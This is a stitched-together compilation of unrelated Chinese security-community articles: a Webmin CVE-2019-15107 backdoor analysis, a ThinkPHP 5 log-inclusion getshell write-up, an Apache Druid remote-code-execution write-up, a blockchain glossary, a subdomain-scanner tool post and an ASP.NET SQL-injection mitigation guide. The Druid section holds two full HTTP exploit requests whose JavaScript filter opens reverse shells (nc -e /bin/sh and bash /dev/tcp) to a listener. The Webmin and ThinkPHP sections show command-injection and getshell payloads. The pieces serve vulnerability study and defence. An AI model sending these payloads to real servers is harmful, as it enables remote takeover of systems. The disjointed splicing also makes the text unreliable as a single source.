在更新了代码改动之后，通过跟踪漏洞点逻辑，我们逐渐发现，该漏洞点在 2014 年被白帽子提交到
Wooyun平台上，漏洞编号wooyun-2014-065513。
由于DZ的旧版代码更新流程不完整，已经没办法找到对应的补丁了，回溯到 2013 年的 DZ3 版本中，我们发现了旧的漏洞代码
在白帽子提出漏洞，可以通过设置个人设置来控制本来不可控制的变量，并提出了其中一种利用方式。
厂商仅对于白帽子的攻击 poc 进行了相应的修复，导致几年后漏洞再次爆出，dz 才彻底删除了这部分代码...
期间厂商对于安全问题的解决态度值得反思...
#### 0x05 Reference
* [1] Discuz!官网
<http://www.discuz.net>
* [2] Discuz!更新补丁
<https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574>
* [3] Seebug漏洞平台收录地址
<https://www.seebug.org/vuldb/ssvid-93588>
* * * | 社区文章 |
**作者：Ethan@知道创宇404实验室**
**时间：2019年8月21日**
**英文版本:<https://paper.seebug.org/1020/>**
### 漏洞概述
Webmin是一个基于Web的界面，用于Unix的系统管理。使用任何支持表和表单的浏览器，可以设置用户帐户，Apache，DNS，文件共享等。
2019年8月10日，在pentest上发布了Webmin CVE-2019-15107远程代码执行漏洞。
该漏洞由于`password_change.cgi`文件在重置密码功能中存在一个代码执行漏洞，该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码，后经知道创宇404实验室发现，该漏洞的存在实则是sourceforge上某些版本的安装包和源码被植入了后门导致的。
### 漏洞复现
官方给的漏洞影响版本为Webmin<=1.920，于是当晚我使用了Webmin 1.920的版本进行的测试。
在1.920版本中漏洞的触发需要开启密码重置功能，`“Webmin-> Webmin Configuration->
Authentication”`下把允许用户使用旧密码设置新密码的选项给选上，并保存！
Webmin重启后，查看webmin的配置文件，可以发现`passwd_mode`的值已经从0变为了2
然后在密码修改处执行抓包，然后在old参数上加上`|ifconfig`
发现成功执行了命令！
想着换个用户试试吧，23333，结果出现下面的情况！
为什么换个root用户就不行了，这里的root用户是Linux系统的root用户，我登陆使用的就是这个用户。。
我再随便使用个用户试试？
经测试用户为空也可以，用户为webmin用户也可以，其创建方式如下：
其中root是Linux系统账户，认证方式为`Unix authenticaton`，ethan账户是自己创建的webmin 账户，认证方式无。
这样问题就来了，为什么会有这样的区别？这就不得不开启一个perl菜鸟审计perl代码的道路，感谢@Longofo的帮助！
### 漏洞点分析
首先在`password_change.cgi`的第12行，我们可以得知想触发漏洞必须`passwd_mode=2`，也就必须开启密码重置功能。否则就会显示Password
changing is not enabled!
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
接着分析`password_change.cgi`的12行到31行，如下：
# Is this a Webmin user?
if (&foreign_check("acl")) {
&foreign_require("acl", "acl-lib.pl");
($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
if ($wuser->{'pass'} eq 'x') {
# A Webmin user, but using Unix authentication
$wuser = undef;
}
elsif ($wuser->{'pass'} eq '*LK*' ||
$wuser->{'pass'} =~ /^\!/) {
&pass_error("Webmin users with locked accounts cannot change ".
"their passwords!");
}
}
从注释看，这段代码主要判断是不是webmin user。并且请求了一个acl-lib.pl，看名字就知道是功能性文件，功能应该就是访问控制之类的。在第21~22行的作用是获取请求中的user，并且判断是否属于Webmin
user！但是这个x让我不知所然，为什么把`$wuser`和`x`这个值比较呢？。于是我把`acl::list_users()`的值尝试着打印出来！
返回如下数据：
通过返回的数据，我们可以知道root用户并且使用`Unix
authenticaton`设置(默认)的pass的值为`x`，而我自己创建没有选择认证方式的用户，`pass`的值为一串加密的字符串。也就是说如果我们传进的`user`是系统用户登陆且认证方式为`Unix
authenticaton`的账户时，`$wuser` 的值会被赋值为`undef`。
在if条件语句外，我们把`$wuser`的值给打印下
在`if`条件语句里面把`$wuser` 的值打印出来印证一下
而在`perl`语言中`undef`是变量未初始化时的默认值，一般情况下，将其当作空或0就好了，在需要作为数值的时候，`undef`代表的就是0，需要字符串的时候，`undef`就是空字符串。这里应该是对系统用户密码的修改和其它用户进行了区分。
由我们上面的分析可知，在用户为root的情况下`$wuser`的值为`undef`。
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
也就是说如果传入的`user`为系统用户无法进入第37行的`if`条件语句，从而无法执行第40行`qx/...../`的命令执行代码。当我们传入的用户为空或者不存在时，`$wuser`的值为`{}`，但是会进入`if`条件语句
关于命令执行是否需要`|`，我们通过分析第207行到217行的`pass_error`可知，不需要`|`，亦可进行命令执行回显。
sub pass_error
{
&header(undef, undef, undef, undef, 1, 1);
print &ui_hr();
print "<center><h3>",$text{'password_err'}," : ",@_,"</h3></center>\n";
print &ui_hr();
&footer();
exit;
}
### 另有蹊跷
继续探究的原因是觉得`qx/..../`的蹊跷，因为官方给的修补是直接删除了`qx/..../`如图：
是不是越看越感觉这个漏洞是被"加上去的"，在Github上下载的1.920版本并无`qx/..../`，啊咧咧，一头雾水啊。。。通过`git log
-p`命令并未发现与`qx/..../`相关的记录。而在sourceforge上下载的源码和安装包却有漏洞代码。后门？
2012年在网站SourceForge韩国CDN节点疑似被入侵，热门下载资源phpMyadmin被植入后门。在Seebug上有收录：<https://www.seebug.org/vuldb/ssvid-60402>
在Github上找到另外一些讯息，<https://github.com/webmin/webmin/issues/947>
在1.890版本中，同样存在漏洞代码，这一次简直是赤裸裸的后门。。。
我从sourceforge下载1.890版本，进行了探究。漏洞点如下：
通过分析我们可以得知，这个漏洞点的触发只需要传一个`expired`参数执行命令即可。不需要之前的`passwd_mode=2`的必要条件。
也就是说，在1.890版本中漏洞的触发不需要任何依赖。是代码疏漏还是恶意后门？
### 验证想法
这里我们通过更直观的方式来验证，通过把Github和sourceforge的源码下载下来，然后进行diff
Webmin 1.920版本的password_change.cgi文件
Webmin 1.890版本的password_change.cgi文件
通过Github和sourceforge的文件对比，我们可以发现，sourceforge的代码明显存在问题，极有可能是被植入了后门。
后经验证确认，只有sourceforge的代码和安装包存在后门漏洞。各版本的情况如下：
其中以1.890版本的后门漏洞触发依赖最小，危害最大！猜测这应该是最初始的后门，后来植入后门的时候没有考虑到代码逻辑的问题，导致漏洞触发受到了限制！
### 漏洞修补
* 直接升级到1.930版本
* 临时修补方案，可以定位漏洞代码所在的行，然后剔除，下图为1.920版本：
下图为1.890版本：
将所示标注替换为`$miniserv{'passwd_mode'} == 2 || die "Password changing is not
enabled!";`即可，替换的代码为Github无后门代码。
### 事后感想
本来正常的一次应急没想到，发展成了对后门文件的探究。果然是生活不息，搞事不止啊！感谢@Longofo，帮忙测试大量文件和代码。黑哥也在medium上发表了The
stories behind Webmin
CVE-2019–15107这篇文章来描述后门发现的过程：<https://medium.com/@80vul/the-stories-behind-cve-2012-5159-198eaad2449d>
* * * | 社区文章 |
**前言**
* * *
遇到一个TP5的站，过程十分曲折有趣，引发了我这个小菜鸡的一些思考，通过文章分享一下思路，欢迎各位大佬斧正。
**正文**
* * *
**测试受阻**
前戏就不多说了，PAYLOAD打出PHPINFO。简单介绍一下这个站，nginx+TP5.0.13，开启了DEBUG，PHP_Version7.1.32
查看PHPINFO，该禁用的函数都禁用了
这时候常规的思路就是利用THINK_PHP写session GETSHELL，或者利用文件包含日志GETSHELL
首先尝试session GETSHELL，我用EXP打但是失败了，蚁剑连接成功，但是却没有数据返回（可能是我EXP的问题）
尝试利用日志包含getshell。
包含日志有两种思路，一种是去包含nginx的access.log或者error.log日志；另一种是去包含Thinkphp本身的日志，通常thinkphp的日志存储为
runtime/log/202012/xx.log
DEBUG查看LOG_PATH
先随意请求一个PHPINFO，再用PAYLOAD包含查看是否包含成功
++++++++++++++++++++++++++++++++++++++++++
但是无任何回显，包含/etc/passwd可以正常显示
查看一下nginx配置文件
包含access.log还是失败，很可能开发者修改了默认日志路径（后来发现access.log 0B）
说明payload没有问题，这时候有三种可能性
1、修改了think\include模块，禁用了此功能或者修改了包含的条件
2、修改了log默认名称
3、修改了log路径，不采用thinkphp的log默认路径或者直接禁用了日志，重新开发代码将日志写到另一个文件中（实在太麻烦）
验证1，使用另一内置函数模块think\Lang::load去包含，依然失败
验证2，3此时我还没有想到
**尝试新方法**
这时候想到前段时间GET到的一篇好文章，介绍了一些TP5+PHP7下，诸多条件限制下，新的方法来getshell
贴出好文链接
<https://mp.weixin.qq.com/s/u_zhosHaBq2gXZsZZxfPjA>
简单介绍一下文章思路：思路是利用THINK框架下的内置方法think\Build::module来创建一个新的模块，thinkphp会在此模块的控制器中自动创建index.php，并在index.php中use
think\模块名\controller。
PAYLOAD:_method=__construct&method=GET&server[]=1&filter[]=think\Build::module&get[]=xxx
例如，我用此payload创建一个名为111的模块
问题在于模块名是可控的，那么我们用注入的思路传入payload会怎么样呢。
例如，本地测试传入test;phpinfo();\\\
可以看到可以成功注入payload，利用文件包含可以成功phpinfo
上面的文章说的很不错，我就不一一赘述了。
我在本地复现成功，但是我在这个目标尝试依然失败，包括安恒大佬们说的application目录不可写的问题，最后发现自己连public目录都没有权限写入。。。
再次受阻
**最后的笨办法**
大佬们的payload没有尝试成功，只能用最后的笨办法了，既然管理员修改了日志路径或者修改了日志的命名方式，或者干脆重写了日志功能，那么我可以直接读取他的文件，来审计他到底把日志放在了什么地方。
读取文件可以用show_source()函数，readfile实在感官不太好...
查了一下开发手册，Thinkphp的日志命名方式存放在thinkphp/think/log/driver/File.php
读取一下
并没有发生什么改变，那么只有可能是修改了日志路径了
期间踩了一次坑，读取common.php发现他写了一个record_log功能，让我一度以为日志在/data/app/lottery/public/log/gui.202012xx.log
经过一番艰辛的查找，眼睛都看花了，最终找到了日志存放路径
可以看到，他在默认的LOG_PATH后，加了BIND_MODULE修改了日志的存放路径。
那么日志路径应该是LOG_PATH/BIND_MODULE/202012/25.log
找到BIND_MODULE值，包含日志
成功拿下
**过程总结**
常规思路默认日志包含不成功，通过文章尝试新的方法未成，读取文件获取日志存放路径，通过文件包含日志GETSHLL | 社区文章 |
**作者：Ja0k
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
### 一.漏洞概要
Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。
Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。
### 二.影响范围
影响版本： Apache Druid < 0.20.1
安全版本： Apache Druid 0.20.1
### 三.环境搭建
<https://github.com/apache/druid/>
<https://druid.apache.org/docs/latest/tutorials/index.html>
下载0.19版本
<https://github.com/apache/druid/releases/tag/druid-0.19.0>
解压
cd druid-druid-0.19.0-rc1\distribution\docker
docker-compose up -d
打开 <http://192.168.123.10:8888>
### 四.漏洞复现
Poc1：通用
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.123.10:8888
Accept: application/json, text/plain, */*
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Referer: http://192.168.123.10:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 1007
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.123.10 5555 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
注意：因为是docker环境没有bash，这里直接采用nc -e反弹
Poc2：通用
POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1
Host: 0.0.0.0:8888
Content-Length: 1005
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
DNT: 1
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",
"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/0.0.0.0/5555 0>&1')}",
"dimension": "added",
"": {
"enabled": "true"
}
}
}
},"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
### 五.修复建议
升级至安全版本及其以上。
### 参考
<https://www.hedysx.com/2732.html>
<https://xz.aliyun.com/t/9176>
<https://www.t00ls.net/thread-59631-1-1.html>
* * * | 社区文章 |
# 区块链安全入门笔记（三） | 慢雾科普
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
虽然有着越来越多的人参与到区块链的行业之中，然而由于很多人之前并没有接触过区块链，也没有相关的安全知识，安全意识薄弱，这就很容易让攻击者们有空可钻。面对区块链的众多安全问题，慢雾特推出区块链安全入门笔记系列，向大家介绍十篇区块链安全相关名词，让新手们更快适应区块链危机四伏的安全攻防世界！
## 共识 Consensus
共识算法主要是解决分布式系统中，多个节点之间对某个状态达成一致性结果的问题。分布式系统由多个服务节点共同完成对事务的处理，分布式系统中多个副本对外呈现的数据状态需要保持一致性。由于节点的不可靠性和节点间通讯的不稳定性，甚至节点作恶，伪造信息，使得节点之间出现数据状态不一致性的问题。通过共识算法，可以将多个不可靠的单独节点组建成一个可靠的分布式系统，实现数据状态的一致性，提高系统的可靠性。
区块链系统本身作为一个超大规模的分布式系统，但又与传统的分布式系统存在明显区别。由于它不依赖于任何一个中央权威，系统建立在去中心化的点对点网络基础之上，因此分散的节点需要就交易的有效与否达成一致，这就是共识算法发挥作用的地方，即确保所有节点都遵守协议规则并保证所有交易都以可靠的方式进行。由共识算法实现在分散的节点间对交易的处理顺序达成一致，这是共识算法在区块链系统中起到的最主要作用。
区块链系统中的共识算法还承担着区块链系统中激励模型和治理模型中的部分功能，为了解决在对等网络中(P2P),相互独立的节点如何达成一项决议问题的过程。简而言之，共识算法是在解决分布式系统中如何保持一致性的问题。
## 工作量证明 PoW(Proof of Work)
PoW(Proof of Work)是历史上第一个成功的去中心化区块链共识算法。工作量证明是大多数人所熟悉的，被比特币、以太坊，莱特币等主流公链广泛使用。
工作量证明要求节点参与者执行计算密集型的任务，但是对于其他网络参与者来说易于验证。在比特币的例子中，矿工竞相向由整个网络维护的区块链账本中添加所收集到的交易，即区块。为了做到这一点，矿工必须第一个准确计算出“nonce”，这是一个添加在字符串末尾的数字，用来创建一个满足开头特定个数为零的哈希值。不过存在采矿的大量电力消耗和低交易吞吐量等缺点。
## 权益证明 PoS(Proof of Stake)
PoS(Proof of
Stake)——权益证明机制，一种主流的区块链共识算法，目的是为了让区块链里的分布式节点达成共识，它往往和工作量证明机制(Proof of
Work)一起出现，两种都被认为是区块链共识算法里面的主流算法之一。作为一种算法，它通过持币人的同意来达成共识，目的是确定出新区块，这过程相对于
PoW，不需要硬件和电力，且效率更高。
PoS 共识中引入了 Stake 的概念，持币人将代币进行 Staking，要求所有的参与者抵押一部分他们所拥有的 Token
来验证交易，然后获得出块的机会，PoS 共识中会通过选举算法，按照持币量比例以及 Token
抵押时长，或者是一些其他的方式，选出打包区块的矿工。矿工在指定高度完成打包交易，生成新区块，并广播区块，广播的区块经过 PoS
共识中另外一道”门槛”，验证人验证交易，通过验证后，区块得到确认。这样一轮 PoS
的共识过程就进行完成了。权益证明通过长期绑定验证者的利益和整个网络的利益来阻止不良行为。锁定代币后，如果验证者存在欺诈性交易，那么他们所抵押的 Token
也会被削减。
PoS 的研究脚步还在不断前进，安全、性能和去中心化一直都是 PoS 所追求的方向，未来也将有更多 PoS
的项目落地。为了更好的观测公链运行状态，即时监测安全异常，慢雾在 EOS、BOSCORE、FIBOS、YOYOW、IoTeX、COSMOS 上都部署了
Safe Staking，落地扎根安全领域，关注节点的稳定与安全。
## 委托权益证明 DPoS(Delegate Proof of Stake)
委托权益证明，其雏形诞生在 2013 年 12 月 8 日，Daniel Larimer 在 bitsharetalk 首次谈及用投票选择出块人的方式，代替
PoS 中可能出现的选举随机数被操纵的问题。在 DPoS 中，让每一个持币者都可以进行投票，由此产生一定数量的代表
,或者理解为一定数量的节点或矿池，他们彼此之间的权利是完全相等的。持币者可以随时通过投票更换这些代表，以维系链上系统的“长久纯洁性”。在某种程度上，这很像是国家治理里面的代议制，或者说是人大代表制度。这种制度最大的好处就是解决了验证人过多导致的效率低下问题，当然，这种制度也有很明显的缺点，由于
“代表”制度，导致其一直饱受中心化诟病。
## 恶意挖矿攻击 Cryptojacking Attack
恶意挖矿攻击(Cryptojacking)是一种恶意行为，指未经授权的情况下劫持用户设备挖掘加密货币。通常，攻击者会劫持受害者设备(个人 PC
或服务器)的处理能力和带宽，由于加密货币挖掘需要大量算力，攻击者会尝试同时感染多个设备，这样他们能够收集到足够的算力来执行这种低风险和低成本的挖矿活动。
一般恶意挖矿软件会诱导用户在计算机上加载挖矿代码，或通过使用类似网络钓鱼的方法，如恶意链接、电子邮件或是在网站里植入挖矿脚本等方式，使系统无意中被隐藏的加密挖矿程序感染进而完成攻击行为。近年来，随着加密货币价格的上涨，更加复杂的恶意软件被开发出来，使恶意挖矿攻击事件层出不穷。
在此我们为大家提供几条建议防范恶意挖矿攻击：
1.注意设备性能和 CPU 利用率
2.在 Web 浏览器上安装挖矿脚本隔离插件，例如 MinerBlock，NoCoin 和 Adblocker
3.小心电子邮件附件和链接
4.安装一个值得信赖的杀毒软件，让软件应用程序和操作系统保持最新状态
## 无利益攻击 Nothing at Stake Attack
无利益攻击(Nothing at Stake Attack)，是在 PoS
共识机制下一个有待解决的问题，其问题的本质可以简单概括为“作恶无成本，好处无限多”。
当 PoS
共识系统出现分叉(Fork)时，出块节点可以在“不受任何损失”的前提下，同时在两个分叉上出块；无论哪一个分叉后面被公认为主链，该节点都可以获得“所有收益”且不会有任何成本损失。这就很容易给某些节点一种动力去产生新的分叉，支持或发起不合法交易，其他逐利的出块节点会同时在多条链(窗口)上排队出块支持新的分叉。随着时间的推移，分叉越来越多，非法交易，作恶猖狂。区块链将不再是唯一链，所有出块节点没有办法达成共识。
为了预防这样的情况发生，许多类 PoS 共识机制对此的解决方法是引入惩罚机制，对作恶的节点进行经济惩罚(Slashing)，以建立更加稳定的网络。DPoS
实际上也是无利益攻击的解决方案之一，由上文我们可知 DPoS 这个机制由持币人选出出块节点来运营网络，出块节点会将一部分奖励分给投票者。 | 社区文章 |
经好友邀请 第二次加入先知大家庭 发布一个最近的新作品 希望与众大牛多多交流 变成好友 希望大牛们不要嫌弃我 哈哈哈
这是一款C#的命令行工具 其设计原理是根据搜索引擎 Api接口 字典枚举
从而获取需要查询的结果，它可以帮助渗透测试人员以及漏洞检测人员针对他们的目标域名收集以及获取其子域名。
这款工具基于.net 4.0环境 线程池技术
提供三种搜集模式
api模式目前加入6个查询接口 7个搜索引擎（包括https证书） 探测区域传送漏洞 探测子域名cdn 探测泛解析 探测web容器 探测web状态码
自动保存访问正常网页快照到报告文件夹
爆破模式自带180万字典与小字典自由挑选 探测子域名cdn 探测泛解析 探测web容器 探测web状态码 自动保存访问正常网页快照到报告文件夹
All模式 包含api和爆破模式所有功能
提供两种运行模式
安静模式不输出过程详细信息 只显示进度
非安静模式输出详细信息 并显示进度
结果自动建立报告文件夹 保存CSV与快照文件 清晰可排序 一目了然
使用方法
SubDomainSniper.exe baidu.com 8.8.8.8 all nq
以baidu为目标的查询报告 all模式 使用百万字典 获取结果4300+ 下载不到自行扶墙
<https://mega.nz/#!JM0XybxK!vc3lbxWcSPrmKhoVxKBnkKz-ciQ2YBDGQdIWw2ylhI8>
* * *
此软件只供安全测试使用，如果软件对其站点进行恶意攻击与本人无关，如软件使用遇到问题或好的建议，请及时与本人联系，谢谢！
友情提示：破坏计算机信息系统罪，是指违反国家规定，对计算机信息系统功能或计算机信息系统中存储、处理或者传输的数据和应用程序进行破坏，或者故意制作、传播计算机病毒等破坏性程序，影响计算机系统正常运行，后果严重的行为。本罪的主体为一般主体，即年满16周岁具有刑事责任能力的自然人均可构成本罪。实际能构成其罪的，通常是那些精通计算机技术、知识的专业人员，如计算机程序设计人员、计算机操作、管理维修人员等。犯本罪的，处五年以下有期徒刑或者拘役；后果特别严重的，处五年以上有期徒刑。
解压密码为www.7kb.org | 社区文章 |
# 前言
在本博客中，我们将讨论在ASP.NET应用程序中发现的本地文件包含和SQL注入的漏洞以及如何缓解它们。
当Web应用程序允许用户从Web服务器读取任何文件而不考虑其扩展名时，ASP.NET
Web应用程序中会出现本地文件包含(LFI)漏洞。这可能导致泄露敏感信息，当与其他漏洞(如远程执行)结合使用时，会导致恶意用户获得对Web服务器的完全控制。
当用户输入未被清理并作为参数发送到SQL语句时，会发生SQL注入漏洞。利用SQL注入漏洞，恶意用户可能会篡改数据，导致会话劫持(帐户接管)或在数据中注入有害脚本，当终端用户访问站点时，系统上会被迫安装恶意软件。Web应用程序中的SQL注入漏洞造成的主要后果之一是，恶意用户可能会控制整个Web服务器或向外界泄漏数据，从而导致企业及组织的业务中断并造成财务危机。
开发人员必须接受编码标准方面的培训，使得他们能够以安全的方式编写代码。代码审查程序必须到位，以便能够在开发/测试阶段早期识别此类漏洞。测试阶段还必须包括安全核查，以确保应用程序没有此类漏洞。
# ASP.net应用程序中的SQL注入
xxxxxxxxxxxxxxxxxxxxxxxx ASP.NET Code Snippet start xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
<%@ Page Title="" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" CodeFile="Login.aspx.cs" Inherits="Login" %>
<asp:Content ID="Content2" ContentPlaceHolderID="MainContent" Runat="Server">
<form id="Form1" runat="server">
<table>
<tr>
<td>User:</td><td><asp:TextBox ID="user" runat="server"></asp:TextBox></td>
</tr>
<tr>
<td>Password:</td><td><br /><asp:textbox TextMode="password" id="pass" runat="server" /></td>
</tr>
<tr>
<td><asp:button Text="Login" runat="server" id="btn" onClick="submit"/></td>
</tr>
</table>
</form>
</asp:Content>
//server side Submit button method
protected void submit (object sender, EventArgs e)
{
string query1 = "Select username, password from admin where username <> 'admin' and password = '" + pass.Text.Trim() + "' ";
try
{
DataSet dSet1 = new DataSet();
dSet1 = fetchWebDB(query1);
}
DataSet fetchWebDB(string query)
{
// connect to data source
OleDbConnection myConn = new OleDbConnection("Provider=SQLOLEDB;Data Source=.;Initial Catalog=AMS;User ID=sa;Password=pass@123");
myConn.Open();
// initialize dataadapter with query
OleDbDataAdapter myAdapter = new OleDbDataAdapter(query, myConn);
// initalize and fill dataset with query results
DataSet myData = new DataSet();
myAdapter.Fill(myData);
myConn.Close();
// return dataset
return myData;
}
}
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ASP.Net Code snippet end xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
上面提到的代码容易受到SQL注入攻击，因为开发人员在将数据发送到SQL语句之前没有对用户输入进行清理。User和Pass变量的值按原样传递给SQL语句，这是禁止的。用户输入必须总是经过清理操作；它必须转义所有不应该出现的特殊字符。
必须先对用户输入进行编码，然后才能将其保存到数据库中。
其次，开发人员使用“系统管理员”用户连接MS
SQL数据库来获取数据。在这种情况下，所有SQL语句都将在“sa”(系统管理员)用户的上下文中执行。在这种情况下，所有SQL语句都将在“sa”(系统管理员)用户的上下文中执行。在MS
SQL
Server中，“sa”用户具有最高级别的权限。如果恶意用户获得对此应用程序的访问权限，或者以某种方式知道“sa”用户的密码，则他可以执行一些特定操作，这些操作可以帮助他获得Windows服务器上的系统级访问权限。
第三，不建议在应用程序页面中保留连接字符串，因为源代码泄露也会暴露连接字符串。建议将其加密然后保存在
`<connectionstring/> key`下的`web.config`中。如果恶意用户访问web.config文件，他也无法解密连接字符串。
# 如何加密ASP.net Web应用程序中的连接字符串？
建议系统管理员/开发人员在将应用程序移至生产环境之前，应在web.config中加密连接字符串和MachineKey。在配置文件中应始终避免使用明文密码，因为它们会成为Web攻击的主要目标。
MachineKey本身必须加密，因为此密钥用于加密/解密和验证ASP.NET Cookie和防伪令牌。
MachineKey和连接字符串一样重要，因为一旦恶意用户获得了这个密钥，他就可以创建一个经过身份验证的cookie，允许他以任何用户的身份登录。
可以通过以下命令加密web.config中的MachineKey元素：
aspnet_regiis -pe "system.web/machineKey" -app "[Your Application Name]"
aspnet_regiis.exe位于Web服务器上的以下路径：
c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
要使用RSA密钥容器加密连接字符串，必须遵循以下方法
我们将使用现成的RSA密钥容器，当安装.Net时，默认情况下会创建“NetFrameworkConfigurationKey”
首先，要读取RSA密钥容器，必须授权Web应用程序的ASP.NET身份：
加密web.config中的敏感数据元素“connectionstring”，可以运行以下命令：
aspnet_regiis -pe "connectionStrings" -app "[Your Application Name]"
运行完命令后，打开web.config
另一种方法是 - 在连接字符串中添加“Trusted connection = true”：
<connectionStrings>
<add name=”DefaultConnection” connectionString=”Server=localhost;Database=mydb;Trusted_Connection=True”
</connectionStrings>
上面的屏幕截图是从Internet Information
Services（IIS）获取的，关于选择用于运行Web应用程序的应用程序池。可以将自定义帐户(服务帐户)配置为应用程序池标识运行。Web应用程序现在将使用此标识连接到数据库并在此服务帐户的上下文下运行。此帐户必须有权访问MSSQL
Server，以便它可以运行SQL查询并将数据保存在数据库中。
如果恶意用户收集了不同的凭据，他可能会使用这些凭据来强制在Web服务器级别或操作系统级别运行的其他服务，例如FTP或SMB服务。可以通过对任何用户控制的参数强制执行输入验证来防止这种漏洞。
另一件需要注意的重要事情是禁用对网站的匿名访问并启用身份验证，以便以后可以跟踪访问期间发生的事件。
此外，应在IIS中禁用网站的目录列表：
打开IIS管理器。
选择网站以禁用文件列表。
双击IIS部分中的目录浏览图标。
管理员还应限制对具有机密/配置相关数据的特定目录的访问。可以拒绝访问位于特定文件夹中的特定文件：
<location path="confidential">
<system.webServer>
<security>
<authorization>
<remove users="*" roles="" verbs="" />
<add accessType="Allow" roles="Administrators" />
</authorization>
</security>
</system.webServer>
</location>>
## 缓解措施：
有时，开发人员认为他们可以通过使用存储过程从SQL注入漏洞中拯救Web应用程序。然而，编写得不好的存储过程可能是导致web应用程序中的SQL注入漏洞的原因。
考虑以下存储过程：
ALTER PROCEDURE [dbo].[SearchLeaves]
@searchleavetype VARCHAR(50) = ''
AS
BEGIN
DECLARE @query VARCHAR(100)
SET @query = 'SELECT * FROM LEAVES WHERE category LIKE ''%' + @searchleavetype + '%''';
EXEC(@query)
END
在上面的存储过程中，字符串连接是一个问题，可以利用存储过程从数据库中的任何表中读取数据。
参数化可以解决上述问题：可以重写上述存储过程来缓解SQL注入漏洞。
ALTER PROCEDURE [dbo].[SearchLeaves]
@searchleavetype NVARCHAR(50) = ''
AS
BEGIN
DECLARE @query NVARCHAR(100)
DECLARE @msearch NVARCHAR(55)
SET @msearch = '%' + @searchleavetype + '%'
SET @query = 'SELECT * FROM LEAVES WHERE category LIKE @search'
EXEC sp_executesql @query, N'@search VARCHAR(55)', @msearch
END
可以创建添加“%”字符的新字符串，然后将此新字符串作为参数传递给SQL语句。
缓解SQL注入漏洞的另一个操作是只向负责执行SQL语句的当前用户授予有限的权限。
让我们假设有一个网页，它显示员工的休假情况。可以在数据库中创建新的SQL用户。通过映射自定义角色，用户只能执行存储过程。通过在此用户的上下文中执行存储过程，会将预期的数据重新调整到网页。
考虑创建以下角色和用户以减轻SQL注入：
CREATE ROLE CustomFetchDataRole
CREATE LOGIN TestUser WITH PASSWORD = '$Passw0rd@123##’
ALTER ROLE CustomFetchDataRole ADD MEMBER [TestUser]
IF NOT EXISTS (SELECT * FROM sys.database_principals WHERE name = N' TestUser ')
BEGIN
CREATE USER [TestUser] FOR LOGIN [TestUser]
END;
GO
GRANT EXECUTE ON dbo.uspGetLeavesInfo TO TestUser
GRANT EXEC ON TYPE::DBO.MyTableType TO [CustomFetchDataRole]
仅授予对数据库有限的权限可以在保护数据方面起到很大的作用。恶意用户将无法直接访问任何表，即使他能够以某种方式登录到SQL
Server。现在，存储过程(考虑参数化)要么将预期的数据返回到网页，要么不返回任何内容。
